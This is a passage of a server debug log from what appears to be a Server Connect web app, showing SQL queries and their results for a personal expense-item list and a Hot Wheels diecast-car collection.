  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-03T13:06:53.343Z server-connect:app Executing action step identify
2026-02-03T13:06:53.343Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:53.343Z server-connect:output identity: 1
2026-02-03T13:06:53.343Z server-connect:app Executing action step restrict
2026-02-03T13:06:53.343Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:53.344Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T13:06:53.345Z server-connect:app Executing action step identify
2026-02-03T13:06:53.345Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:53.345Z server-connect:output identity: 1
2026-02-03T13:06:53.345Z server-connect:app Executing action step restrict
2026-02-03T13:06:53.345Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:53.345Z server-connect:output restrict: undefined
2026-02-03T13:06:53.346Z server-connect:app Executing action step select
2026-02-03T13:06:53.346Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:06:53.347Z server-connect:app Executing action step identify
2026-02-03T13:06:53.347Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:53.347Z server-connect:output identity: 1
2026-02-03T13:06:53.347Z server-connect:app Executing action step restrict
2026-02-03T13:06:53.347Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:53.348Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-03T13:06:53.349Z server-connect:output restrict: undefined
2026-02-03T13:06:53.349Z server-connect:app Executing action step paged
2026-02-03T13:06:53.349Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:06:53.350Z server-connect:output restrict: undefined
2026-02-03T13:06:53.350Z server-connect:app Executing action step select
2026-02-03T13:06:53.350Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:06:53.351Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T13:06:53.352Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'Monte Carlo', id: 187 },
  { name: 'Road Runner', id: 188 },
  { name: 'RAM', id: 189 }
]
2026-02-03T13:06:53.353Z server-connect:app Executing action step identify
2026-02-03T13:06:53.354Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:53.354Z server-connect:output identity: 1
2026-02-03T13:06:53.354Z server-connect:app Executing action step restrict
2026-02-03T13:06:53.354Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:53.355Z server-connect:output restrict: undefined
2026-02-03T13:06:53.355Z server-connect:app Executing action step select
2026-02-03T13:06:53.355Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:06:53.357Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 70,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:06:53.358Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T13:06:53.358Z server-connect:app Executing action step select
2026-02-03T13:06:53.358Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:06:53.359Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
